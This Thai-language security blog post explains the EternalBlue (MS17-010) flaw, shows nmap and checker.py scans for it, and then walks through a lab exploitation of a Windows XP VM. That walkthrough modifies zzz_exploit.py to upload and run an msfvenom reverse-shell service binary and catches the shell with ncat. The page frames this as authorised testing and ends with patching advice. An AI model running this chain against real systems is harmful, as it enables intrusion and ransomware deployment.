ข้ามไปที่เนื้อหาหลัก

Automated Threat Intelligent System integrated with McAfee Advanced Threat Defense and Malware Information Sharing Platform

Tools   Automated Threat Intelligent System integrated with McAfee Advanced Threat Defense and Malware Information Sharing Platform   02/09/2019     Anastasis Vasileiadis Automated Threat Intelligent System An improvised automated threat intelligent system with advanced vulnerability scanners and Opensource Intelligence Information gathering python scripts when integrated with McAfee Advanced Threat Defense and Malware Information Sharing Platform can defend against new and futuristic cyber attacks. ATD-MISP with OpenDXL This integration is focusing on the automated threat intelligence collection with McAfee ATD, OpenDXL, and MISP. McAfee Advanced Threat Defense (ATD) will produce local threat intelligence that will be pushed via DXL. An OpenDXL wrapper will subscribe and parse indicators ATD produced and will import indicators into a threat intelligence management platform (MISP). Component Description McAfee Advanced Threat Defense (ATD)  ...

ms17-010

วิธีการทดสอบและลองแฮกช่องโหว่ EternalBlue ในองค์กร
ย้อนอดีตกลับไปช่องโหว่ที่ทำให้แฮกเกอร์ยึดเครื่องเหยื่อ (Remote Code Execution – RCE) ของระบบปฏิบัติการ Windows ก็มีหลายตัวเด่น ๆ เช่นในปี 2008 มีช่องโหว่ memory corruption ในไฟล์ NetAPI32.dll (MS08-067, CVE-2008-4250) ซึ่งทำให้คอมฯโดนแฮกผ่านโปรโตคอล SMB (Server Message Block) ที่เปิดมาโดยอัตโนมัติอยู่แล้วที่ TCP port 139 และ 445 Windows ผลคือแฮกเกอร์นำช่องโหว่นี้ไปไล่แฮกและใช้เป็นฟีเจอร์ของมัลแวร์ชื่อ Conficker มาโจมตีระบบเครือข่ายทั่วโลกและมีเหยื่อโดนแฮกเยอะมาก ๆ เพราะการออกแบบมัลแวร์ตัวนี้ใช้คุณสมบัติ wormable คือเมื่อแฮกคอมฯ 1 เครื่องได้แล้วก็จะทำการ สแกนระบบเครือข่าย เพื่อแฮกแล้วแพร่กระจายตัวเอง จากการแฮกไปยังเครื่องถัด ๆ ไปโดยการคัดลอกตัวเองออกไปเรื่อย ๆ อย่างรวดเร็ว
ถัดจากปี 2008 ผ่านมาเกือบ 10 ปี เมื่อปี 2017 เป็นข่าวครึกโครมเกี่ยวกับช่องโหว่อีกครั้งเมื่อกลุ่มแฮกเกอร์ลึกลับที่ใช้ชื่อว่า The Shadow Brokers (TSB) ประกาศว่าตัวเองมีเครื่องมือลับสุดยอดที่ใช้ในปฏิบัติการแฮก ของสำนักงานความมั่นคงแห่งชาติสหรัฐอเมริกา (Nation Security Agency – NSA) อยู่ในมือ
และต้องการจะ “จัดประมูล” อารมณ์ประมาณว่า ที่รัฐบาลอเมริกาเนี่ยมีกลุ่มแฮกเกอร์ หรือนักรบทหารไซเบอร์ ชื่อว่า Equation Group (ซึ่งว่ากันว่าเกี่ยวข้องกับหน่วยชื่อ Tailored Access Operations หรือ TAO ของ NSA) ทำงานคอยหาข้อมูลข่าวกรองต่าง ๆ โดยวิธีการเจาะระบบเครือข่ายฝั่งตรงข้าม เช่นการทำสงครามกับอัฟกานิสถาน, อิหร่าน และ ซีเรีย ก่อนที่อเมริกาจะส่งทหารถือปืนโดดลงสู่สนามรบ ก็จะส่งนักรบไซเบอร์ลงมือเจาะเซิร์ฟเวอร์ แฮกระบบคอมพิวเตอร์ศัตรูก่อน และการจะทำแบบนั้นได้ก็อาจจะต้องมีอาวุธลับทางไซเบอร์ (exploit) อยู่ในมือเพื่อใช้ในการเจาะระบบที่ปลอดภัยมาก ๆ ได้ TSB เลยบอกว่า เนี่ย! เรามีอาวุธที่ว่านั้นหลุดมาในมือและถ้าใครอยากได้.. จะมาเปิดประมูลกัน! เกร็ดเล็กน้อยที่น่าสนใจคือ วิธีการใช้ภาษาในประกาศของกลุ่ม TSB จะจงใจพิมพ์ผิด ๆ ถูก ๆ เพื่อไม่ให้ถูกแกะรอยได้ว่าคนที่พิมพ์เป็นใคร จากสำนวนการใช้คำต่าง ๆ
โดยวิธีการประมูลของ TSB เทพซ่ามาก คือ ให้คนที่ต้องการประมูลอาวุธไซเบอร์นี้โอนเงินผ่าน Bitcoin มาให้ TSB ก่อนเลย แต่คนที่โอนเงินมาสูงสุดเท่านั้น ที่จะได้เครื่องมือที่ว่าไป ถ้าใครโอนมาแล้วไม่ใช่ราคาสูงสุด.. ก็คือจะเสียเงินไปฟรี ๆ นั้นเอง แถมไม่มีใครกล้ารับรองได้เลยว่า เครื่องมือนั้นคืออะไรและจะมีอยู่จริงรึเปล่า ณ จุดนั้นหลายคนก็ยังคิดว่า TSB อาจเป็นมิจฉาชีพที่สร้างเรื่องปลอมเพื่อหลอกเอาเงินคนอื่นก็เป็นได้ ?
ในระหว่างนั้นก็มีประกาศจาก TSB ออกมาหลายระลอก แต่สุดท้ายทาง TSB ก็ประกาศภายใต้ชื่อ “Lost in Translation” เพื่อปล่อยเครื่องมือเหล่านั้นออกมาสู่สาธาณะฟรี ๆ (มีคนเอามารวมให้ดาวน์โหลดได้ที่ https://github.com/misterch0c/shadowbroker/) โดยหลัก ๆ เป็นโปรแกรมเจาะระบบ (exploitation framework) ชื่อว่า FuzzBunch มีส่วนที่เป็นโปรแกรมสำหรับแฮกเกอร์ควบคุมเครื่องเหยื่อหลังแฮกเข้าไปได้แล้ว กับส่วนที่เป็นโค้ดโจมตีช่องโหว่
ซึ่งมีทั้งที่เป็นโค้ดโจมตีช่องโหว่เก่าที่ถูกแก้ไขแล้วและโค้ดโจมตีช่องโหว่ที่ยังไม่มีการแก้ไข (zero-day vulnerability) โดยแต่ละตัวก็จะมีชื่อเล่นเท่ ๆ เช่น ETERNALROMANCE, EDUCATEDSCHOLAR, EMERALDTHREAD ในบทความนี้เราจะมาดูตัวนึง ที่เรียกได้ว่าเป็นพระเอกของงานจากที่หลุดมาทั้งหมด ก็คือเจ้า EternalBlue นั้นเอง

EternalBlue คืออะไร

EternalBlue เป็นโค้ดโจมตีช่องโหว่ที่เกิดในไฟล์ srv.sys (MS17-010, CVE-2017-0144) เป็นตัวจัดการโปรโตคอล SMB เวอร์ชัน 1 ของระบบปฏิบัติการ Windows ตั้งแต่ XP, 2003, 7, 8, 8.1, 10, 2008, 2012 และ 2016 หรือจะเรียกได้ว่า ใช้แฮกเครื่อง Windows ได้แทบทุกเวอร์ชัน ภายใต้เงื่อนไขว่า เครื่องปลายทางต้องรองรับ SMB เวอร์ชัน 1 (ซึ่งปกติเปิดอยู่โดยไม่ต้องทำอะไรที่ TCP port 139 และ 445) ที่มีช่องโหว่ (ยังไม่ได้อัปเดตแพตช์) อยู่และสามารถถูกต่อเข้า named pipe ได้อย่างน้อย 1 อัน ซึ่งปกติ Windows ก็จะมี named pipe ที่ไม่ต้องมีรหัสผ่านก็ต่อได้อยู่แล้ว เช่น IPC$ หรือ spoolss สรุปภาษาเข้าใจง่าย ๆ คือ EternalBlue (ณ เวลานึงตอน Microsoft ยังไม่รู้) ใช้แฮกเจาะเข้าระบบ Windows เครื่องไหนก็ได้ในโลก โดยไม่ต้องมีรหัสผ่านใด ๆ ยิงเปรี้ยง ยึดเครื่องได้ทันทีเลยเป็นสิทธิ์สูงสุดในระบบเหมือนแฮกเกอร์นั่งอยู่หน้าจอเหยื่ออย่างกับในหนัง ! ด้วยเหตุนี้หลังจากเหตุการณ์ TSB สิ่งที่เกิดคือ แฮกเกอร์ทั่วโลกต่างเอาโค้ดโจมตีช่องโหว่นี้ไปสร้างเป็นมัลแวร์ไล่แฮกเซิร์ฟเวอร์ต่าง ๆ โดยเฉพาะตัวมัลแวร์เรียกค่าไถ่ชื่อดังอย่าง WannaCry, Petya, NotPetya ก็ใช้ช่องโหว่นี้เพื่อแฮกเข้าไปในเครื่องเหยื่อ ก่อนจะทำการเข้ารหัสไฟล์ต่าง ๆ และเรียกค่าไถ่เป็นเงิน Bitcoin จากเจ้าของเครื่อง
อีกฝั่งนึงในวงการ IT Security ก็พยายามนำ EternalBlue มาวิเคราะห์ใช้งานกัน ซึ่งทีแรกต้องใช้ผ่านโปรแกรม FuzzBunch (fb.py) ที่หลุดมาพร้อม ๆ กัน สรุปง่าย ๆ ตัว FuzzBunch ก็คล้ายกับโปรแกรมใช้แฮกช่องโหว่ยอดนิยมอย่าง Metasploit Framework มาก ๆ แต่เขียนด้วยภาษา Python แทน Ruby
ปัญหาของตัว EternalBlue ที่หลุดออกมามีสองข้อคือ (1) ค่อนข้างเก่า ไม่เสถียร ปรับแต่งให้ใช้แฮกได้เฉพาะ Windows XP กับ Windows 7 และ 2008 R2 เท่านั้น (2) แถมบังคับว่าหลังแฮกเสร็จเหยื่อจะต้องติดตั้ง backdoor ของมัน (NSA?) เองชื่อ DoublePulsar ไว้ใช้คุมเครื่องเป้าหมายหลังแฮกสำเร็จแล้ว ซึ่งใช้ค่อนข้างลำบากต้องหาโค้ดอื่นมาลงเพิ่มเติม (ไม่สะดวกเหมือน Meterpreter ใน Metasploit)
คำเตือน: ในทางปฏิบัติผู้เขียนไม่แนะนำให้นำโค้ด EternalBlue จริง ๆ ที่ The Shadow Brokers แจกมาใช้ โดยเฉพาะใช้ในงานการทดสอบเจาะระบบแบบมืออาชีพ (penetration testing) หรือในองค์กร เพราะ..
  1. มันจะทำการติดตั้ง backdoor ที่รันในระดับ kernel ซึ่งนอกจากฟีเจอร์ที่มันทำได้จาก FuzzBunch/DoublePulsar แล้วเราก็ไม่อาจรู้ได้ว่าจะมีโค้ดที่ไม่น่าไว้วางใจอะไรแฝงมาอย่างแนบเนียนอยู่อีก เพราะจากตัว exploit ที่เราได้มาใช้ยิงนี้มาในรูปแบบ binary มาเลยเราไม่เห็น source code หรือคำอธิบาย ในส่วนของ exploit และ shellcode อย่างละเอียด ดังนั้นจึงไม่ควรนำไปทดสอบในระบบลูกค้าหรือในองค์กรที่รับผิดชอบเด็ดขาด
  2. แถมยังเป็นการทิ้ง backdoor ไว้ในเครื่องลูกค้าที่ทำให้คนอื่นที่เข้าถึงไฟล์ FuzzBunch สามารถเข้ามาตรวจสอบและคุมเครื่องนั้นต่อได้ด้วย
  3. อีกข้อนึงการโจมตีโดยใช้โค้ดที่หลุดมานี้ มีความเสี่ยงจะทำให้เครื่องปลายทางที่โดนยิงขึ้นจอฟ้าและ reboot ได้อีกด้วยหากโจมตีไม่สำเร็จ ซึ่งอันตรายมากหากเอาไปทดสอบกับเครื่องลูกค้าหรือองค์กรในระบบจริงที่มีการใช้งานอยู่ ระบบอาจล่มได้
ทีนี้เนี่ย ถัดจากนั้นไม่นาน ก็มีคนไทยระดับโลก คนนึงเก่งมาก (ส่วนตัวผู้เขียนยกให้เป็นคนที่เก่งที่สุดในประเทศไทยที่รู้จักมา) ชื่อคุณ Worawit Wangwarunyoo (ใช้นามแฝงว่า sleepya และ xellos) ประกาศว่าได้ทำการวิเคราะห์ตัวช่องโหว่ EternalBlue อย่างละเอียด (ด้วยการทำ reverse engineering ตัวไฟล์ srv.sys) และพัฒนาโค้ดโจมตีช่องโหว่ EternalBlue ขึ้นมาใหม่หมดจด พร้อมคำอธิบายในไฟล์ต่าง ๆ ทั้งตัว exploit และ shellcode ที่ใช้ อาจเรียกได้ว่า ทำดีกว่าของทีมนักรบไซเบอร์ของสหรัฐอเมริกามัดรวมกันอีก และแจกฟรีเอาไว้ที่ https://github.com/worawit/MS17-010 น่าจะเป็นคนแรกที่ทำ ผลปรากฏว่าคนในวงการ IT Security บริษัทใหญ่ ๆ ดัง ๆ ทั่วโลกต่างก็ชื่นชมยินดีอ้างอิงเอางานชิ้นนี้และชื่อคุณ Worawit ไปเป็นเครดิต เพื่อใช้งาน วิเคราะห์หรืออธิบายต่อกันไปมากมาย เหมือนทำให้ EternalBlue ถูกชำแหละและทำเป็นเวอร์ชัน open source โปร่งใสรู้ว่าโค้ดทำงานยังไง รองรับรุ่น Windows มากขึ้น (จนถึง Windows 8/2012/2016) และเสถียรขึ้นมาก ๆ ก็ว่าได้

วิธีการทดสอบว่าระบบมีช่องโหว่ (Vulnerability Identification)

คำถามที่น่าสนใจ หลังจากที่เราได้รู้จัก EternalBlue กันพอสมควรแล้วก็คือ ตอนนี้ก็ผ่านมาหลายปีแล้ว เราจะทดสอบเองได้ไหม ว่าคอมพิวเตอร์ในครอบครัวที่บ้านเรา หรือที่เรามีสิทธิ์ดูแลในที่ทำงาน ยังมีช่องโหว่ EternalBlue อยู่รึเปล่า? คำตอบคือ คุณสามารถทดสอบได้ง่าย ๆ ด้วยการดาวน์โหลดและติดตั้งโปรแกรมชื่อ nmap จากลิงก์นี้ จากนั้นใช้คำสั่งต่อไปนี้ (ตัวอย่างนี้คือใช้งานผ่าน Kali Docker ที่ลงไว้ตามบทความที่แล้ว)
คำเตือน: ผู้อ่านจำเป็นจะต้องได้รับอนุญาตหรือมีสิทธิ์ในการตรวจสอบช่องโหว่บน IP หรือวง network ปลายทางก่อนจะทำเสมอ ถ้าหากไม่มีแล้วทำ อาจผิดกฏหมายได้ ในบทความนี้ทำการทดสอบในระบบจำลองมาบนโปรแกรม VMware ในเครื่องผู้เขียนเองเท่านั้น
$ sudo nmap -Pn -n -p 445 --open --max-hostgroup 3 --script smb-vuln-ms17-010  <IP>
โดยแทนที่ ค่า <IP> เป็นหมายเลข IP หรือวง network เช่นถ้าบ้านหรือองค์กรที่เรารับผิดชอบมีสิทธิ์ตรวจสอบใช้ network เป็นวง 192.168.0.0/24 เราก็ใส่ไปได้เลยว่า
$ sudo nmap -Pn -n -p 445 --open --max-hostgroup 3 --script smb-vuln-ms17-010  192.168.0.0/24
ผลที่ได้ สังเกตว่าจะมีหมวด “Host script results” ต่อด้วย “smb-vuln-ms17-010” ถ้าเกิดบรรทัดถัดจากนี้เขียนว่า VULNERABLE: อย่างในรูปด้านล่าง แปลว่า เครื่อง IP ที่เราทำการตรวจสอบด้วย nmap (จริง ๆ คือใช้สคริปท์ Nmap Script Engine – NSE ที่เขียนด้วยภาษา Lua ชื่อว่า smb-vuln-ms17-010.nse) มีช่องโหว่ EternalBlue ต้องรีบไปอัปเดตแพตช์แล้ว!
อีกวิธีคือ เราสามารถใช้โปรแกรม check.py ที่เขียนโดยคุณ Worawit ได้ด้วยคำสั่งต่อไปนี้
$ git clone https://github.com/worawit/MS17-010 && cd MS17-010
$ python checker.py 192.168.56.102
จะสังเกตว่าขึ้นว่า “The target is not patched” แปลว่าเครื่อง IP ที่เราใส่ไปยังมีช่องโหว่ EternalBlue สามารถถูกแฮกได้อยู่ โดยถ้าหากเครื่องที่เราทดสอบ มีการแพตช์แก้ไขแล้ว จะขึ้นแบบนี้แทน
ทีนี้ผู้อ่านก็สามารถนำวิธีการเหล่านี้ไปใช้ทำการทดสอบเครื่อง Windows ในระบบเครือข่าย ที่ตัวเองได้รับอนุญาตในการดูแลหรือตรวจสอบว่ามีช่องโหว่ EternalBlue รึเปล่าได้ หรือจะทดสอบในระบบของตัวเองบน Virtualbox เพื่อการศึกษาก็ทำได้เช่นกัน จะเห็นว่าทำได้ไม่ยากเลย เพราะมีโปรแกรมสำเร็จรูปไว้ให้ใช้งานได้อยู่แล้ว

วิธีการลองแฮก (Exploitation)

หลังจากเราดูวิธีการตรวจสอบว่าเครื่องมีช่องโหว่ EternalBlue รึเปล่า? ไปแล้ว ต่อไปมาดูว่า ถ้าหากเราอยากจะทดสอบ โจมตีช่องโหว่นี้ เราจะทำได้ยังไง.. ทำได้หลายท่ามาก วิธีนึงคือใช้จากโค้ดของคุณ Worawit (https://github.com/worawit/MS17-010) โดยตรง ซึ่งผมในฐานะ fc ของคุณ Worawit ก็จะใช้ท่านี้แล้วกัน (ฮาา) จะมีไฟล์ชื่อ zzz_exploit.py ไว้ยิงอยู่แล้ว
ต่อไปใช้คำสั่งดังต่อไปนี้ (ผู้เขียนใช้ Kali docker [192.168.56.1] ในตัวอย่างนี้ ยิงไปที่ Windows XP x86 บน VMware [192.168.56.104])
$ python checker.py 192.168.56.104
$ python zzz_exploit.py
$ python zzz_exploit.py 192.168.56.104 spoolss
ผลที่ได้ จะพบว่ามีไฟล์ C:\pwned.txt ถูกสร้างในเครื่องที่เราแฮก
เป็นการยืนยันว่าเราได้ทำการโจมตีสำเร็จแล้ว แต่ว่าเวลาเราแฮก.. บางทีเราก็ไม่ได้อยากจะแค่สร้างไฟล์ ทีนี้เราก็ตามไปอ่านกันหน่อยว่าคุณ Worawit ทิ้งอะไรไว้ให้เราแก้บ้างใน zzz_exploit.py โดยทำการค้นหาคำว่า pwned.txt
จะเจอว่ามีฟังก์ชันชื่อ smb_pwn() พร้อมคำอธิบายเล็กน้อยว่าเป็นการใช้ SMB สร้างไฟล์เปล่า ๆ ขึ้นมา พร้อมทั้งคอมเมนต์บอกว่า มีฟังก์ชันชื่อ smb_send_file() กับ service_exec() เตรียมไว้ให้ด้วย
มาลองแก้ไขฟังก์ชัน smb_pwn() ในไฟล์ zzz_exploit.py กันสักหน่อย เปลี่ยนเป็นตามนี้
def smb_pwn(conn, arch):
  smbConn = conn.get_smbconnection()
  
  smb_send_file(smbConn, 'ggez.exe', 'C', '/ggez.eze')
  service_exec(conn, r'c:\ggez.exe')
จากนั้นทำการสร้าง backdoor เพื่อให้เครื่องที่ถูกแฮกต่อกลับมาหาคนแฮก (reverse shell) โดยมีเงื่อนไขว่า backdoor นี้จะต้องทำงานแบบ Windows service เพื่อที่จะใช้กับช่องโหว่นี้ได้ ซึ่งเราสามารถใช้ msfvenom (Metasploit) สร้าง backdoor ที่ว่าได้ง่าย ๆ โดยพิมพ์คำสั่งดังนี้
$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.56.1 LPORT=4445 EXITFUNC=thread -a x86 -f exe-service -o ggez.exe
จากนั้นทำการเปิด TCP Listener เพื่อรอรับ reverse shell กลับมาด้วยโปรแกรม ncat (Kali docker นี้ได้ทำการ เปิด TCP port 4445 ให้เข้าได้จาก IP เครื่อง docker host คือ 192.168.56.1 ไว้)
$ ncat -lvp 4445
แล้วก็ลุยย ยิงซ้ำอีกทีด้วยคำสั่งเดิม กับไฟล์ใหม่ที่เราแก้ไขแล้ว พร้อมกับมีไฟล์ ggez.exe อยู่ข้าง ๆ
$ python zzz_exploit.py 192.168.56.104 spoolss
ณ จุดนี้ เราก็จะสามารถแฮกเครื่อง Windows ด้วยช่องโหว่ EternalBlue ได้แล้ว สิ่งที่เราได้กลับมาคือ command shell (cmd.exe) สำหรับสั่งการเครื่องที่ถูกแฮก ถ้าเราเป็นโจร เราอาจจะใช้จังหวะนี้ในการติดตั้งมัลแวร์ต่าง ๆ เช่นมัลแวร์เข้ารหัสไฟล์เพื่อเรียกค่าไถ่ ดักรหัสผ่านบนคีย์บอร์ดหรือค้นหารูป ขโมยกุญแจ crypto wallet หรือหาข้อมูลต่าง ๆ ในเครื่องเหยื่อได้

ทิ้งท้าย

ช่องโหว่ใหม่ ๆ ก็ถูกค้นพบอยู่เรื่อย ๆ ไม่ว่าจะผ่านมากี่ปีจะปี 2008 (MS08-067 – NetAPI), 2017 (MS17-010 – EternalBlue) หรือ 2019 ล่าสุดก็มีช่องโหว่ BlueKeep (CVE-2019-0708) โผล่มาอีกแล้ว ดังนั้นใน ฐานะที่ถ้าผู้อ่านเป็นผู้ใช้งานทั่วไป ก็ควรทำการอัปเดตระบบปฏิบัติการและโปรแกรมต่าง ๆ ในเครื่องให้เป็นเวอร์ชันใหม่ล่าสุดอยู่เสมอ
ปัญหานี้จริง ๆ นอกจากการแพตช์ระดับผู้ใช้งานทั่วไปแล้ว ก็มีเรื่องการแพตช์ซอฟต์แวร์ในระดับเซิร์ฟเวอร์ของบริษัท ที่หลาย ๆ องค์กรก็เจอ challenge หนักหน่วงตัวอย่างเช่น
(1) ทีม security ต้องให้อัปเดตแพตช์เร็วที่สุด แต่ทีม IT หรือ Business กังวลไม่รู้ว่าอัปเดตไปแล้ว ระบบจะเหมือนเดิมไหมมีปัญหาอะไรในระยะยาวไหม สิ่งที่เคยใช้ได้ดี อยู่ดี ๆ มันจะพังไหม ถ้าล่มใครรับผิดชอบ
(2) บางที่ยังใช้ Windows เวอร์ชันที่ไม่มีการสนับสนุนจาก Microsoft แล้วอย่าง XP หรือ 2003 อยู่เลย ต่อให้อยากอัปเดตแพตช์ ก็ทำไม่ได้ จะซื้อใหม่ก็ไม่มีงบเปลี่ยน แถมไม่มีใครกล้าไปแตะโปรแกรมสำคัญที่ทำงานอยู่ดี ๆ บนนั้นมาเป็นสิบปี
(3) การทำงาน ops โดยการ clone ตัว image / vm ของระบบปฏิบัติการเก่า ที่มีโปรแกรมมีช่องโหว่ แล้วนำมา deploy เป็น base ให้ระบบใหม่อยู่เรื่อย ๆ โดยไม่มีการอัปเดต ภายในองค์กร
(4) ปัญหาการเมืองภายในองค์กร คนทำหน้าที่อัปเดต กับคนใช้งานไม่ถูกกัน หรือมีปัญหาจะไปขัดกับนโยบายอะไรบางอย่าง เช่นคู่มือ หรือระเบียบเจาะจงมาเป๊ะ ๆ ว่าต้องใช้เวอร์ชันเท่านี้ แบบนี้ห้ามอัปเดตแก้ไขช่องโหว่
(5) ประเมินค่าใช้จ่ายในการแก้ไขระบบหลังจากอัปเดตไว้สูงมาก ยังไม่มีคนมีอำนาจอนุมัติและไม่มีทีมรับผิดชอบโดยตรง คนเคยทำก็ลาออกไปแล้ว หรือ vendor ที่เคยจ้างรับงานเสร็จก็ลาจากไปแล้วไม่มีการบำรุงรักษาระบบต่อ
สิ่งเหล่านี้ก็เป็นตัวอย่างที่ผู้เขียนเจอมาระหว่างการไปทำการทดสอบเจาะระบบให้หน่วยงานต่าง ๆ ทั้งในไทยและต่างประเทศ ก็ตกใจว่ายังมีเครื่องเซิร์ฟเวอร์ที่มีช่องโหว่ร้ายแรงสูง (critical) อายุหลักสิบปีอยู่ในองค์กร การแก้ปัญหาเหล่านี้ก็ต้องอาศัยกำลังภายในหลาย ๆ ด้านนอกจากการรู้ช่องโหว่ สุดท้ายแล้วถ้าการอัปเดตแพตช์ ยังไม่สามารถทำได้จริง ๆ เราอาจลดความเสี่ยงของการถูกแฮก ได้โดยการหา security control อื่น ๆ มาร่วมด้วยเช่นมีการทำ network segmentation และกำหนด firewall rules อย่างดีว่าเครื่องที่มีความเสี่ยงใครเข้าถึงได้บ้าง และหา network IPS มาวางเพื่อช่วยลดโอกาสถูกโจมตีสำเร็จให้ได้มากที่สุด ถ้าทำได้อาจมีการทำ virtual patching ทั้งระดับ network และ OS หรือการปรับแก้ไขการตั้งค่าเพื่อให้ช่องโหว่โจมตีไม่ได้โดยไม่ต้องอัปเดตโปรแกรม ก็จะช่วยได้อีกทาง แต่ทางที่ดีที่สุดถ้าถามผู้เขียนแล้วคือองค์กรขนาดใหญ่ (มีระบบเยอะหรือคนเยอะ) ผู้บริหารควรมีวิสัยทัศน์ ใส่ใจในเรื่องความปลอดภัยระบบ มีงบและนโยบายในการประเมินความเสี่ยง การทำ patch management มีพนักงานที่มีหน้าที่ดูแลเฉพาะ มีรอบการอัปเดตที่เป็นแพตช์ช่องโหว่ และมีนโยบายการอัปเดตแพตช์ในส่วนช่องโหว่ระดับ critical ให้เร็วที่สุดทันที มีการทำ inventory เวอร์ชันซอฟต์แวร์ที่ใช้คอยตรวจสอบเพื่อหาทางแก้ไขต่อไป เอาจริง ๆ ก็ไม่ง่ายเหมือนพูดเลย ขึ้นกับแต่ละองค์กรและตัวบุคคลล้วน ๆ ผู้เขียนก็หวังว่าผู้อ่านจะสามารถนำกรณีศึกษา ทั้งการตรวจสอบช่องโหว่ EternalBlue การทดสอบแฮก และแนวคิดต่าง ๆ ไปปรับใช้ให้เกิดประโยชน์ได้ภายในองค์กรครับ

ความคิดเห็น

โพสต์ยอดนิยมจากบล็อกนี้

WinPwn v1.2 releases: Automation for internal Windows Penetration Testing

Tools   WinPwn v1.2 releases: Automation for internal Windows Penetration Testing   02/09/2019     Anastasis Vasileiadis WinPwn Automation for internal Windows  Penetration Testing . 1) Automatic Proxy Detection 2) Elevated or unelevated Detection 3) Forensic Mode oder Pentest Mode a. Forensik -> Loki + PSRECON + Todo: Threathunting functions b. Pentest -> Internal Windows Domain System i. Inveigh NBNS/SMB/HTTPS Spoofing ii. Local Reconing -> Hostenum, SessionGopher, FileSearch, PSRecon iii. Domain Reconing -> GetExploitableSystems, Powerview functions, ACL-Analysis, ADRecon 1) Todo: Grouper for Group Policy overview iv. Privilege Escalation -> Powersploit (Allchecks), GPP-Passwords, MS-Exploit Search (Sherlock), WCMDump, JAWS v. Lazagne Password recovery vi. Exploitation -> Kerberoasting, Mimikittenz, Mimikatz with Admin-rights vii. LateralMovement -> FindLocalAdminAccess 1) Invoke-MassMimikatz || Powershell Empire Remote La...

evil-winrm v1.6

evil-winrm v1.6 releases: Windows Remote Management shell for pentesting Evil-WinRM This shell is the ultimate WinRM shell for hacking/pentesting. WinRM (Windows Remote Management) is the Microsoft implementation of the WS-Management  Protocol . A standard SOAP-based protocol that allows hardware and operating systems from different vendors to interoperate. Microsoft included it in their Operating Systems in order to make life easier to system administrators. This program can be used on any Microsoft Windows Servers with this feature enabled (usually at port 5985), of course only if you have credentials and permissions to use it. So we can say that it could be used in a post-exploitation hacking/pentesting phase. The purpose of this program is to provide nice and easy-to-use features for hacking. It can be used with legitimate purposes by system administrators as well but most of its features are focused on hacking/pentesting stuff. Features Command History WinR...

Defcon 27

Defcon 27 writing custom backdoor payloads with C# workshop Writing custom backdoor payloads with C# This workshop aims to provide attendees hands-on experience on writing custom backdoor payloads using C# for the most common command and control frameworks including Metasploit, Powershell Empire, and Cobalt Strike. The workshop consists of 7 lab exercises; each of the exercises goes over a different technique that leverages C# and .NET capabilities to obtain a reverse shell on a victim Windows host. The covered techniques include raw shellcode injection, process injection, process hollowing, runtime compilation, parent pid spoofing, antivirus bypassing, etc. At the end of this workshop, attendees will have a clear understanding of these techniques both from an attack and defense perspective. Skill Level : Intermediate Prerequisites : Basic to intermediate programming/scripting skills. Prior experience with C# helps but not required. Materials : Laptop with virtualization s...